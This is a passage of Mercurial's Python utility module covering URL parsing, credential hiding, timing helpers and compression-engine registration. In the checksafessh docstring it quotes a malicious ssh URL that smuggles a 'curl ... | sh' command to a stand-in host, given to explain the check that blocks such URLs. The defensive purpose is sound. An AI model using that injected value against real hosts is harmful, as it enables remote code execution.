2785 2783 fn = fn or (lambda s: s)
2786 2784 patterns = '|'.join(mapping.keys())
2787 2785 if escape_prefix:
2788 2786 patterns += '|' + prefix
2789 2787 if len(prefix) > 1:
2790 2788 prefix_char = prefix[1:]
2791 2789 else:
2792 2790 prefix_char = prefix
2793 2791 mapping[prefix_char] = prefix_char
2794 2792 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2795 2793 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2796 2794
2797 2795 def getport(port):
2798 2796 """Return the port for a given network service.
2799 2797
2800 2798 If port is an integer, it's returned as is. If it's a string, it's
2801 2799 looked up using socket.getservbyname(). If there's no matching
2802 2800 service, error.Abort is raised.
2803 2801 """
2804 2802 try:
2805 2803 return int(port)
2806 2804 except ValueError:
2807 2805 pass
2808 2806
2809 2807 try:
2810 2808 return socket.getservbyname(pycompat.sysstr(port))
2811 2809 except socket.error:
2812 2810 raise error.Abort(_("no port number associated with service '%s'")
2813 2811 % port)
2814 2812
2815 2813 class url(object):
2816 2814 r"""Reliable URL parser.
2817 2815
2818 2816 This parses URLs and provides attributes for the following
2819 2817 components:
2820 2818
2821 2819 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2822 2820
2823 2821 Missing components are set to None. The only exception is
2824 2822 fragment, which is set to '' if present but empty.
2825 2823
2826 2824 If parsefragment is False, fragment is included in query. If
2827 2825 parsequery is False, query is included in path. If both are
2828 2826 False, both fragment and query are included in path.
2829 2827
2830 2828 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2831 2829
2832 2830 Note that for backward compatibility reasons, bundle URLs do not
2833 2831 take host names. That means 'bundle://../' has a path of '../'.
2834 2832
2835 2833 Examples:
2836 2834
2837 2835 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2838 2836 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2839 2837 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2840 2838 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2841 2839 >>> url(b'file:///home/joe/repo')
2842 2840 <url scheme: 'file', path: '/home/joe/repo'>
2843 2841 >>> url(b'file:///c:/temp/foo/')
2844 2842 <url scheme: 'file', path: 'c:/temp/foo/'>
2845 2843 >>> url(b'bundle:foo')
2846 2844 <url scheme: 'bundle', path: 'foo'>
2847 2845 >>> url(b'bundle://../foo')
2848 2846 <url scheme: 'bundle', path: '../foo'>
2849 2847 >>> url(br'c:\foo\bar')
2850 2848 <url path: 'c:\\foo\\bar'>
2851 2849 >>> url(br'\\blah\blah\blah')
2852 2850 <url path: '\\\\blah\\blah\\blah'>
2853 2851 >>> url(br'\\blah\blah\blah#baz')
2854 2852 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2855 2853 >>> url(br'file:///C:\users\me')
2856 2854 <url scheme: 'file', path: 'C:\\users\\me'>
2857 2855
2858 2856 Authentication credentials:
2859 2857
2860 2858 >>> url(b'ssh://joe:xyz@x/repo')
2861 2859 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2862 2860 >>> url(b'ssh://joe@x/repo')
2863 2861 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2864 2862
2865 2863 Query strings and fragments:
2866 2864
2867 2865 >>> url(b'http://host/a?b#c')
2868 2866 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2869 2867 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2870 2868 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2871 2869
2872 2870 Empty path:
2873 2871
2874 2872 >>> url(b'')
2875 2873 <url path: ''>
2876 2874 >>> url(b'#a')
2877 2875 <url path: '', fragment: 'a'>
2878 2876 >>> url(b'http://host/')
2879 2877 <url scheme: 'http', host: 'host', path: ''>
2880 2878 >>> url(b'http://host/#a')
2881 2879 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2882 2880
2883 2881 Only scheme:
2884 2882
2885 2883 >>> url(b'http:')
2886 2884 <url scheme: 'http'>
2887 2885 """
2888 2886
2889 2887 _safechars = "!~*'()+"
2890 2888 _safepchars = "/!~*'()+:\\"
2891 2889 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2892 2890
2893 2891 def __init__(self, path, parsequery=True, parsefragment=True):
2894 2892 # We slowly chomp away at path until we have only the path left
2895 2893 self.scheme = self.user = self.passwd = self.host = None
2896 2894 self.port = self.path = self.query = self.fragment = None
2897 2895 self._localpath = True
2898 2896 self._hostport = ''
2899 2897 self._origpath = path
2900 2898
2901 2899 if parsefragment and '#' in path:
2902 2900 path, self.fragment = path.split('#', 1)
2903 2901
2904 2902 # special case for Windows drive letters and UNC paths
2905 2903 if hasdriveletter(path) or path.startswith('\\\\'):
2906 2904 self.path = path
2907 2905 return
2908 2906
2909 2907 # For compatibility reasons, we can't handle bundle paths as
2910 2908 # normal URLS
2911 2909 if path.startswith('bundle:'):
2912 2910 self.scheme = 'bundle'
2913 2911 path = path[7:]
2914 2912 if path.startswith('//'):
2915 2913 path = path[2:]
2916 2914 self.path = path
2917 2915 return
2918 2916
2919 2917 if self._matchscheme(path):
2920 2918 parts = path.split(':', 1)
2921 2919 if parts[0]:
2922 2920 self.scheme, path = parts
2923 2921 self._localpath = False
2924 2922
2925 2923 if not path:
2926 2924 path = None
2927 2925 if self._localpath:
2928 2926 self.path = ''
2929 2927 return
2930 2928 else:
2931 2929 if self._localpath:
2932 2930 self.path = path
2933 2931 return
2934 2932
2935 2933 if parsequery and '?' in path:
2936 2934 path, self.query = path.split('?', 1)
2937 2935 if not path:
2938 2936 path = None
2939 2937 if not self.query:
2940 2938 self.query = None
2941 2939
2942 2940 # // is required to specify a host/authority
2943 2941 if path and path.startswith('//'):
2944 2942 parts = path[2:].split('/', 1)
2945 2943 if len(parts) > 1:
2946 2944 self.host, path = parts
2947 2945 else:
2948 2946 self.host = parts[0]
2949 2947 path = None
2950 2948 if not self.host:
2951 2949 self.host = None
2952 2950 # path of file:///d is /d
2953 2951 # path of file:///d:/ is d:/, not /d:/
2954 2952 if path and not hasdriveletter(path):
2955 2953 path = '/' + path
2956 2954
2957 2955 if self.host and '@' in self.host:
2958 2956 self.user, self.host = self.host.rsplit('@', 1)
2959 2957 if ':' in self.user:
2960 2958 self.user, self.passwd = self.user.split(':', 1)
2961 2959 if not self.host:
2962 2960 self.host = None
2963 2961
2964 2962 # Don't split on colons in IPv6 addresses without ports
2965 2963 if (self.host and ':' in self.host and
2966 2964 not (self.host.startswith('[') and self.host.endswith(']'))):
2967 2965 self._hostport = self.host
2968 2966 self.host, self.port = self.host.rsplit(':', 1)
2969 2967 if not self.host:
2970 2968 self.host = None
2971 2969
2972 2970 if (self.host and self.scheme == 'file' and
2973 2971 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2974 2972 raise error.Abort(_('file:// URLs can only refer to localhost'))
2975 2973
2976 2974 self.path = path
2977 2975
2978 2976 # leave the query string escaped
2979 2977 for a in ('user', 'passwd', 'host', 'port',
2980 2978 'path', 'fragment'):
2981 2979 v = getattr(self, a)
2982 2980 if v is not None:
2983 2981 setattr(self, a, urlreq.unquote(v))
2984 2982
2985 2983 @encoding.strmethod
2986 2984 def __repr__(self):
2987 2985 attrs = []
2988 2986 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2989 2987 'query', 'fragment'):
2990 2988 v = getattr(self, a)
2991 2989 if v is not None:
2992 2990 attrs.append('%s: %r' % (a, v))
2993 2991 return '<url %s>' % ', '.join(attrs)
2994 2992
2995 2993 def __bytes__(self):
2996 2994 r"""Join the URL's components back into a URL string.
2997 2995
2998 2996 Examples:
2999 2997
3000 2998 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3001 2999 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3002 3000 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3003 3001 'http://user:pw@host:80/?foo=bar&baz=42'
3004 3002 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3005 3003 'http://user:pw@host:80/?foo=bar%3dbaz'
3006 3004 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3007 3005 'ssh://user:pw@[::1]:2200//home/joe#'
3008 3006 >>> bytes(url(b'http://localhost:80//'))
3009 3007 'http://localhost:80//'
3010 3008 >>> bytes(url(b'http://localhost:80/'))
3011 3009 'http://localhost:80/'
3012 3010 >>> bytes(url(b'http://localhost:80'))
3013 3011 'http://localhost:80/'
3014 3012 >>> bytes(url(b'bundle:foo'))
3015 3013 'bundle:foo'
3016 3014 >>> bytes(url(b'bundle://../foo'))
3017 3015 'bundle:../foo'
3018 3016 >>> bytes(url(b'path'))
3019 3017 'path'
3020 3018 >>> bytes(url(b'file:///tmp/foo/bar'))
3021 3019 'file:///tmp/foo/bar'
3022 3020 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3023 3021 'file:///c:/tmp/foo/bar'
3024 3022 >>> print(url(br'bundle:foo\bar'))
3025 3023 bundle:foo\bar
3026 3024 >>> print(url(br'file:///D:\data\hg'))
3027 3025 file:///D:\data\hg
3028 3026 """
3029 3027 if self._localpath:
3030 3028 s = self.path
3031 3029 if self.scheme == 'bundle':
3032 3030 s = 'bundle:' + s
3033 3031 if self.fragment:
3034 3032 s += '#' + self.fragment
3035 3033 return s
3036 3034
3037 3035 s = self.scheme + ':'
3038 3036 if self.user or self.passwd or self.host:
3039 3037 s += '//'
3040 3038 elif self.scheme and (not self.path or self.path.startswith('/')
3041 3039 or hasdriveletter(self.path)):
3042 3040 s += '//'
3043 3041 if hasdriveletter(self.path):
3044 3042 s += '/'
3045 3043 if self.user:
3046 3044 s += urlreq.quote(self.user, safe=self._safechars)
3047 3045 if self.passwd:
3048 3046 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3049 3047 if self.user or self.passwd:
3050 3048 s += '@'
3051 3049 if self.host:
3052 3050 if not (self.host.startswith('[') and self.host.endswith(']')):
3053 3051 s += urlreq.quote(self.host)
3054 3052 else:
3055 3053 s += self.host
3056 3054 if self.port:
3057 3055 s += ':' + urlreq.quote(self.port)
3058 3056 if self.host:
3059 3057 s += '/'
3060 3058 if self.path:
3061 3059 # TODO: similar to the query string, we should not unescape the
3062 3060 # path when we store it, the path might contain '%2f' = '/',
3063 3061 # which we should *not* escape.
3064 3062 s += urlreq.quote(self.path, safe=self._safepchars)
3065 3063 if self.query:
3066 3064 # we store the query in escaped form.
3067 3065 s += '?' + self.query
3068 3066 if self.fragment is not None:
3069 3067 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3070 3068 return s
3071 3069
3072 3070 __str__ = encoding.strmethod(__bytes__)
3073 3071
3074 3072 def authinfo(self):
3075 3073 user, passwd = self.user, self.passwd
3076 3074 try:
3077 3075 self.user, self.passwd = None, None
3078 3076 s = bytes(self)
3079 3077 finally:
3080 3078 self.user, self.passwd = user, passwd
3081 3079 if not self.user:
3082 3080 return (s, None)
3083 3081 # authinfo[1] is passed to urllib2 password manager, and its
3084 3082 # URIs must not contain credentials. The host is passed in the
3085 3083 # URIs list because Python < 2.4.3 uses only that to search for
3086 3084 # a password.
3087 3085 return (s, (None, (s, self.host),
3088 3086 self.user, self.passwd or ''))
3089 3087
3090 3088 def isabs(self):
3091 3089 if self.scheme and self.scheme != 'file':
3092 3090 return True # remote URL
3093 3091 if hasdriveletter(self.path):
3094 3092 return True # absolute for our purposes - can't be joined()
3095 3093 if self.path.startswith(br'\\'):
3096 3094 return True # Windows UNC path
3097 3095 if self.path.startswith('/'):
3098 3096 return True # POSIX-style
3099 3097 return False
3100 3098
3101 3099 def localpath(self):
3102 3100 if self.scheme == 'file' or self.scheme == 'bundle':
3103 3101 path = self.path or '/'
3104 3102 # For Windows, we need to promote hosts containing drive
3105 3103 # letters to paths with drive letters.
3106 3104 if hasdriveletter(self._hostport):
3107 3105 path = self._hostport + '/' + self.path
3108 3106 elif (self.host is not None and self.path
3109 3107 and not hasdriveletter(path)):
3110 3108 path = '/' + path
3111 3109 return path
3112 3110 return self._origpath
3113 3111
3114 3112 def islocal(self):
3115 3113 '''whether localpath will return something that posixfile can open'''
3116 3114 return (not self.scheme or self.scheme == 'file'
3117 3115 or self.scheme == 'bundle')
3118 3116
3119 3117 def hasscheme(path):
3120 3118 return bool(url(path).scheme)
3121 3119
3122 3120 def hasdriveletter(path):
3123 3121 return path and path[1:2] == ':' and path[0:1].isalpha()
3124 3122
3125 3123 def urllocalpath(path):
3126 3124 return url(path, parsequery=False, parsefragment=False).localpath()
3127 3125
3128 3126 def checksafessh(path):
3129 3127 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3130 3128
3131 3129 This is a sanity check for ssh urls. ssh will parse the first item as
3132 3130 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3133 3131 Let's prevent these potentially exploited urls entirely and warn the
3134 3132 user.
3135 3133
3136 3134 Raises an error.Abort when the url is unsafe.
3137 3135 """
3138 3136 path = urlreq.unquote(path)
3139 3137 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3140 3138 raise error.Abort(_('potentially unsafe url: %r') %
3141 3139 (pycompat.bytestr(path),))
3142 3140
3143 3141 def hidepassword(u):
3144 3142 '''hide user credential in a url string'''
3145 3143 u = url(u)
3146 3144 if u.passwd:
3147 3145 u.passwd = '***'
3148 3146 return bytes(u)
3149 3147
3150 3148 def removeauth(u):
3151 3149 '''remove all authentication information from a url string'''
3152 3150 u = url(u)
3153 3151 u.user = u.passwd = None
3154 3152 return str(u)
3155 3153
3156 3154 timecount = unitcountfn(
3157 3155 (1, 1e3, _('%.0f s')),
3158 3156 (100, 1, _('%.1f s')),
3159 3157 (10, 1, _('%.2f s')),
3160 3158 (1, 1, _('%.3f s')),
3161 3159 (100, 0.001, _('%.1f ms')),
3162 3160 (10, 0.001, _('%.2f ms')),
3163 3161 (1, 0.001, _('%.3f ms')),
3164 3162 (100, 0.000001, _('%.1f us')),
3165 3163 (10, 0.000001, _('%.2f us')),
3166 3164 (1, 0.000001, _('%.3f us')),
3167 3165 (100, 0.000000001, _('%.1f ns')),
3168 3166 (10, 0.000000001, _('%.2f ns')),
3169 3167 (1, 0.000000001, _('%.3f ns')),
3170 3168 )
3171 3169
3172 3170 _timenesting = [0]
3173 3171
3174 3172 def timed(func):
3175 3173 '''Report the execution time of a function call to stderr.
3176 3174
3177 3175 During development, use as a decorator when you need to measure
3178 3176 the cost of a function, e.g. as follows:
3179 3177
3180 3178 @util.timed
3181 3179 def foo(a, b, c):
3182 3180 pass
3183 3181 '''
3184 3182
3185 3183 def wrapper(*args, **kwargs):
3186 3184 start = timer()
3187 3185 indent = 2
3188 3186 _timenesting[0] += indent
3189 3187 try:
3190 3188 return func(*args, **kwargs)
3191 3189 finally:
3192 3190 elapsed = timer() - start
3193 3191 _timenesting[0] -= indent
3194 3192 stderr.write('%s%s: %s\n' %
3195 3193 (' ' * _timenesting[0], func.__name__,
3196 3194 timecount(elapsed)))
3197 3195 return wrapper
3198 3196
3199 3197 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3200 3198 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3201 3199
3202 3200 def sizetoint(s):
3203 3201 '''Convert a space specifier to a byte count.
3204 3202
3205 3203 >>> sizetoint(b'30')
3206 3204 30
3207 3205 >>> sizetoint(b'2.2kb')
3208 3206 2252
3209 3207 >>> sizetoint(b'6M')
3210 3208 6291456
3211 3209 '''
3212 3210 t = s.strip().lower()
3213 3211 try:
3214 3212 for k, u in _sizeunits:
3215 3213 if t.endswith(k):
3216 3214 return int(float(t[:-len(k)]) * u)
3217 3215 return int(t)
3218 3216 except ValueError:
3219 3217 raise error.ParseError(_("couldn't parse size: %s") % s)
3220 3218
3221 3219 class hooks(object):
3222 3220 '''A collection of hook functions that can be used to extend a
3223 3221 function's behavior. Hooks are called in lexicographic order,
3224 3222 based on the names of their sources.'''
3225 3223
3226 3224 def __init__(self):
3227 3225 self._hooks = []
3228 3226
3229 3227 def add(self, source, hook):
3230 3228 self._hooks.append((source, hook))
3231 3229
3232 3230 def __call__(self, *args):
3233 3231 self._hooks.sort(key=lambda x: x[0])
3234 3232 results = []
3235 3233 for source, hook in self._hooks:
3236 3234 results.append(hook(*args))
3237 3235 return results
3238 3236
3239 3237 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3240 3238 '''Yields lines for a nicely formatted stacktrace.
3241 3239 Skips the 'skip' last entries, then return the last 'depth' entries.
3242 3240 Each file+linenumber is formatted according to fileline.
3243 3241 Each line is formatted according to line.
3244 3242 If line is None, it yields:
3245 3243 length of longest filepath+line number,
3246 3244 filepath+linenumber,
3247 3245 function
3248 3246
3249 3247 Not be used in production code but very convenient while developing.
3250 3248 '''
3251 3249 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3252 3250 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3253 3251 ][-depth:]
3254 3252 if entries:
3255 3253 fnmax = max(len(entry[0]) for entry in entries)
3256 3254 for fnln, func in entries:
3257 3255 if line is None:
3258 3256 yield (fnmax, fnln, func)
3259 3257 else:
3260 3258 yield line % (fnmax, fnln, func)
3261 3259
3262 3260 def debugstacktrace(msg='stacktrace', skip=0,
3263 3261 f=stderr, otherf=stdout, depth=0):
3264 3262 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3265 3263 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3266 3264 By default it will flush stdout first.
3267 3265 It can be used everywhere and intentionally does not require an ui object.
3268 3266 Not be used in production code but very convenient while developing.
3269 3267 '''
3270 3268 if otherf:
3271 3269 otherf.flush()
3272 3270 f.write('%s at:\n' % msg.rstrip())
3273 3271 for line in getstackframes(skip + 1, depth=depth):
3274 3272 f.write(line)
3275 3273 f.flush()
3276 3274
3277 3275 class dirs(object):
3278 3276 '''a multiset of directory names from a dirstate or manifest'''
3279 3277
3280 3278 def __init__(self, map, skip=None):
3281 3279 self._dirs = {}
3282 3280 addpath = self.addpath
3283 3281 if safehasattr(map, 'iteritems') and skip is not None:
3284 3282 for f, s in map.iteritems():
3285 3283 if s[0] != skip:
3286 3284 addpath(f)
3287 3285 else:
3288 3286 for f in map:
3289 3287 addpath(f)
3290 3288
3291 3289 def addpath(self, path):
3292 3290 dirs = self._dirs
3293 3291 for base in finddirs(path):
3294 3292 if base in dirs:
3295 3293 dirs[base] += 1
3296 3294 return
3297 3295 dirs[base] = 1
3298 3296
3299 3297 def delpath(self, path):
3300 3298 dirs = self._dirs
3301 3299 for base in finddirs(path):
3302 3300 if dirs[base] > 1:
3303 3301 dirs[base] -= 1
3304 3302 return
3305 3303 del dirs[base]
3306 3304
3307 3305 def __iter__(self):
3308 3306 return iter(self._dirs)
3309 3307
3310 3308 def __contains__(self, d):
3311 3309 return d in self._dirs
3312 3310
3313 3311 if safehasattr(parsers, 'dirs'):
3314 3312 dirs = parsers.dirs
3315 3313
3316 3314 def finddirs(path):
3317 3315 pos = path.rfind('/')
3318 3316 while pos != -1:
3319 3317 yield path[:pos]
3320 3318 pos = path.rfind('/', 0, pos)
3321 3319
3322 3320 # compression code
3323 3321
3324 3322 SERVERROLE = 'server'
3325 3323 CLIENTROLE = 'client'
3326 3324
3327 3325 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3328 3326 (u'name', u'serverpriority',
3329 3327 u'clientpriority'))
3330 3328
3331 3329 class compressormanager(object):
3332 3330 """Holds registrations of various compression engines.
3333 3331
3334 3332 This class essentially abstracts the differences between compression
3335 3333 engines to allow new compression formats to be added easily, possibly from
3336 3334 extensions.
3337 3335
3338 3336 Compressors are registered against the global instance by calling its
3339 3337 ``register()`` method.
3340 3338 """
3341 3339 def __init__(self):
3342 3340 self._engines = {}
3343 3341 # Bundle spec human name to engine name.
3344 3342 self._bundlenames = {}
3345 3343 # Internal bundle identifier to engine name.
3346 3344 self._bundletypes = {}
3347 3345 # Revlog header to engine name.
3348 3346 self._revlogheaders = {}
3349 3347 # Wire proto identifier to engine name.
3350 3348 self._wiretypes = {}
3351 3349
3352 3350 def __getitem__(self, key):
3353 3351 return self._engines[key]
3354 3352
3355 3353 def __contains__(self, key):
3356 3354 return key in self._engines
3357 3355
3358 3356 def __iter__(self):
3359 3357 return iter(self._engines.keys())
3360 3358
3361 3359 def register(self, engine):
3362 3360 """Register a compression engine with the manager.
3363 3361
3364 3362 The argument must be a ``compressionengine`` instance.
3365 3363 """
3366 3364 if not isinstance(engine, compressionengine):
3367 3365 raise ValueError(_('argument must be a compressionengine'))
3368 3366
3369 3367 name = engine.name()
3370 3368
3371 3369 if name in self._engines:
3372 3370 raise error.Abort(_('compression engine %s already registered') %
3373 3371 name)
3374 3372
3375 3373 bundleinfo = engine.bundletype()
3376 3374 if bundleinfo:
3377 3375 bundlename, bundletype = bundleinfo
3378 3376
3379 3377 if bundlename in self._bundlenames:
3380 3378 raise error.Abort(_('bundle name %s already registered') %
3381 3379 bundlename)
3382 3380 if bundletype in self._bundletypes:
3383 3381 raise error.Abort(_('bundle type %s already registered by %s') %
3384 3382 (bundletype, self._bundletypes[bundletype]))
3385 3383
3386 3384 # No external facing name declared.
3387 3385 if bundlename:
3388 3386 self._bundlenames[bundlename] = name
3389 3387
3390 3388 self._bundletypes[bundletype] = name
3391 3389
3392 3390 wiresupport = engine.wireprotosupport()
3393 3391 if wiresupport:
3394 3392 wiretype = wiresupport.name
3395 3393 if wiretype in self._wiretypes:
3396 3394 raise error.Abort(_('wire protocol compression %s already '
3397 3395 'registered by %s') %
3398 3396 (wiretype, self._wiretypes[wiretype]))
3399 3397
3400 3398 self._wiretypes[wiretype] = name
3401 3399
3402 3400 revlogheader = engine.revlogheader()
3403 3401 if revlogheader and revlogheader in self._revlogheaders:
3404 3402 raise error.Abort(_('revlog header %s already registered by %s') %
3405 3403 (revlogheader, self._revlogheaders[revlogheader]))
3406 3404
3407 3405 if revlogheader:
3408 3406 self._revlogheaders[revlogheader] = name
3409 3407
3410 3408 self._engines[name] = engine
3411 3409
3412 3410 @property
3413 3411 def supportedbundlenames(self):
3414 3412 return set(self._bundlenames.keys())
3415 3413
3416 3414 @property
3417 3415 def supportedbundletypes(self):
3418 3416 return set(self._bundletypes.keys())
3419 3417
3420 3418 def forbundlename(self, bundlename):
3421 3419 """Obtain a compression engine registered to a bundle name.
3422 3420
3423 3421 Will raise KeyError if the bundle type isn't registered.
3424 3422
3425 3423 Will abort if the engine is known but not available.
3426 3424 """
3427 3425 engine = self._engines[self._bundlenames[bundlename]]
3428 3426 if not engine.available():
3429 3427 raise error.Abort(_('compression engine %s could not be loaded') %
3430 3428 engine.name())
3431 3429 return engine
3432 3430
3433 3431 def forbundletype(self, bundletype):
3434 3432 """Obtain a compression engine registered to a bundle type.
3435 3433
3436 3434 Will raise KeyError if the bundle type isn't registered.
3437 3435
3438 3436 Will abort if the engine is known but not available.
3439 3437 """
3440 3438 engine = self._engines[self._bundletypes[bundletype]]
3441 3439 if not engine.available():
3442 3440 raise error.Abort(_('compression engine %s could not be loaded') %
3443 3441 engine.name())
3444 3442 return engine
3445 3443
3446 3444 def supportedwireengines(self, role, onlyavailable=True):
3447 3445 """Obtain compression engines that support the wire protocol.
3448 3446
3449 3447 Returns a list of engines in prioritized order, most desired first.
3450 3448
3451 3449 If ``onlyavailable`` is set, filter out engines that can't be
3452 3450 loaded.
3453 3451 """
3454 3452 assert role in (SERVERROLE, CLIENTROLE)
3455 3453
3456 3454 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3457 3455
3458 3456 engines = [self._engines[e] for e in self._wiretypes.values()]
3459 3457 if onlyavailable:
3460 3458 engines = [e for e in engines if e.available()]
3461 3459
3462 3460 def getkey(e):
3463 3461 # Sort first by priority, highest first. In case of tie, sort
3464 3462 # alphabetically. This is arbitrary, but ensures output is
3465 3463 # stable.
3466 3464 w = e.wireprotosupport()
3467 3465 return -1 * getattr(w, attr), w.name
3468 3466
3469 3467 return list(sorted(engines, key=getkey))
3470 3468
3471 3469 def forwiretype(self, wiretype):
3472 3470 engine = self._engines[self._wiretypes[wiretype]]
3473 3471 if not engine.available():
3474 3472 raise error.Abort(_('compression engine %s could not be loaded') %
3475 3473 engine.name())
3476 3474 return engine
3477 3475
3478 3476 def forrevlogheader(self, header):
3479 3477 """Obtain a compression engine registered to a revlog header.
3480 3478
3481 3479 Will raise KeyError if the revlog header value isn't registered.
3482 3480 """
3483 3481 return self._engines[self._revlogheaders[header]]
3484 3482
3485 3483 compengines = compressormanager()
3486 3484
3487 3485 class compressionengine(object):
3488 3486 """Base class for compression engines.
3489 3487
3490 3488 Compression engines must implement the interface defined by this class.
3491 3489 """
3492 3490 def name(self):
3493 3491 """Returns the name of the compression engine.
3494 3492
3495 3493 This is the key the engine is registered under.
3496 3494
3497 3495 This method must be implemented.
3498 3496 """
3499 3497 raise NotImplementedError()
3500 3498
3501 3499 def available(self):
3502 3500 """Whether the compression engine is available.
3503 3501
3504 3502 The intent of this method is to allow optional compression engines
3505 3503 that may not be available in all installations (such as engines relying
3506 3504 on C extensions that may not be present).
3507 3505 """
3508 3506 return True
3509 3507
3510 3508 def bundletype(self):
3511 3509 """Describes bundle identifiers for this engine.
3512 3510
3513 3511 If this compression engine isn't supported for bundles, returns None.
3514 3512
3515 3513 If this engine can be used for bundles, returns a 2-tuple of strings of
3516 3514 the user-facing "bundle spec" compression name and an internal
3517 3515 identifier used to denote the compression format within bundles. To
3518 3516 exclude the name from external usage, set the first element to ``None``.
3519 3517
3520 3518 If bundle compression is supported, the class must also implement
3521 3519 ``compressstream`` and `decompressorreader``.
3522 3520
3523 3521 The docstring of this method is used in the help system to tell users
3524 3522 about this engine.
3525 3523 """
3526 3524 return None
3527 3525
3528 3526 def wireprotosupport(self):
3529 3527 """Declare support for this compression format on the wire protocol.
3530 3528
3531 3529 If this compression engine isn't supported for compressing wire
3532 3530 protocol payloads, returns None.
3533 3531
3534 3532 Otherwise, returns ``compenginewireprotosupport`` with the following
3535 3533 fields:
3536 3534
3537 3535 * String format identifier
3538 3536 * Integer priority for the server
3539 3537 * Integer priority for the client
3540 3538
3541 3539 The integer priorities are used to order the advertisement of format
3542 3540 support by server and client. The highest integer is advertised
3543 3541 first. Integers with non-positive values aren't advertised.
3544 3542
3545 3543 The priority values are somewhat arbitrary and only used for default
3546 3544 ordering. The relative order can be changed via config options.
3547 3545
3548 3546 If wire protocol compression is supported, the class must also implement
3549 3547 ``compressstream`` and ``decompressorreader``.
3550 3548 """
3551 3549 return None
3552 3550
3553 3551 def revlogheader(self):
3554 3552 """Header added to revlog chunks that identifies this engine.
3555 3553
3556 3554 If this engine can be used to compress revlogs, this method should
3557 3555 return the bytes used to identify chunks compressed with this engine.
3558 3556 Else, the method should return ``None`` to indicate it does not
3559 3557 participate in revlog compression.
3560 3558 """
3561 3559 return None
3562 3560
3563 3561 def compressstream(self, it, opts=None):
3564 3562 """Compress an iterator of chunks.
3565 3563
3566 3564 The method receives an iterator (ideally a generator) of chunks of
3567 3565 bytes to be compressed. It returns an iterator (ideally a generator)
3568 3566 of bytes of chunks representing the compressed output.
3569 3567
3570 3568 Optionally accepts an argument defining how to perform compression.
3571 3569 Each engine treats this argument differently.
3572 3570 """
3573 3571 raise NotImplementedError()
3574 3572
3575 3573 def decompressorreader(self, fh):
3576 3574 """Perform decompression on a file object.
3577 3575
3578 3576 Argument is an object with a ``read(size)`` method that returns
3579 3577 compressed data. Return value is an object with a ``read(size)`` that
3580 3578 returns uncompressed data.
3581 3579 """
3582 3580 raise NotImplementedError()
3583 3581
3584 3582 def revlogcompressor(self, opts=None):
3585 3583 """Obtain an object that can be used to compress revlog entries.
3586 3584
3587 3585 The object has a ``compress(data)`` method that compresses binary
3588 3586 data. This method returns compressed binary data or ``None`` if
3589 3587 the data could not be compressed (too small, not compressible, etc).
3590 3588 The returned data should have a header uniquely identifying this
3591 3589 compression format so decompression can be routed to this engine.
3592 3590 This header should be identified by the ``revlogheader()`` return
3593 3591 value.
3594 3592
3595 3593 The object has a ``decompress(data)`` method that decompresses
3596 3594 data. The method will only be called if ``data`` begins with
3597 3595 ``revlogheader()``. The method should return the raw, uncompressed
3598 3596 data or raise a ``RevlogError``.
3599 3597
3600 3598 The object is reusable but is not thread safe.
3601 3599 """
3602 3600 raise NotImplementedError()
3603 3601
3604 3602 class _zlibengine(compressionengine):
3605 3603 def name(self):
3606 3604 return 'zlib'
3607 3605
3608 3606 def bundletype(self):
3609 3607 """zlib compression using the DEFLATE algorithm.
3610 3608
3611 3609 All Mercurial clients should support this format. The compression
3612 3610 algorithm strikes a reasonable balance between compression ratio
3613 3611 and size.
3614 3612 """
3615 3613 return 'gzip', 'GZ'
3616 3614
3617 3615 def wireprotosupport(self):
3618 3616 return compewireprotosupport('zlib', 20, 20)
3619 3617
3620 3618 def revlogheader(self):
3621 3619 return 'x'
3622 3620
3623 3621 def compressstream(self, it, opts=None):
3624 3622 opts = opts or {}
3625 3623
3626 3624 z = zlib.compressobj(opts.get('level', -1))
3627 3625 for chunk in it:
3628 3626 data = z.compress(chunk)
3629 3627 # Not all calls to compress emit data. It is cheaper to inspect
3630 3628 # here than to feed empty chunks through generator.
3631 3629 if data:
3632 3630 yield data
3633 3631
3634 3632 yield z.flush()
3635 3633
3636 3634 def decompressorreader(self, fh):
3637 3635 def gen():
3638 3636 d = zlib.decompressobj()
3639 3637 for chunk in filechunkiter(fh):
3640 3638 while chunk:
3641 3639 # Limit output size to limit memory.
